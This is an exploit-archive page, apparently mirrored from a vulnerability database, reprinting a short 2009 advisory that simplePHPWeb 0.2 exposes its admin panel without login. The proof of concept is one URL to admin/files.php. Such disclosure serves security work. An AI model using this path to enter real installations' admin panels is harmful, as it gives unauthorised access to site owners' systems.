[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : simplePHPWeb 0.2 (files.php) Authentication Bypass Vulnerability
# Published : 2009-08-03
# Author : SirGod
# Previous Title : SimpleLoginSys 0.5 (Auth Bypass) SQL Injection Vulnerability
# Next Title : Miniweb 2.0 Module Publisher (bSQL-XSS) Multiple Vulnerabilities 


##################################################################
[+] simplePHPWeb 0.2 Authentication Bypass Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
[+] download : http://sourceforge.net/projects/simplephpweb/files/simplephpweb/simplephpweb-v0.2/simplephpweb-v0.2.zip/download
##################################################################

[+] Authentication Bypass Vulnerability

 - No login required to access admin panel

 - PoC

   http://127.0.0.1/[path]/admin/files.php

##################################################################

# www.Syue.com [2009-08-03]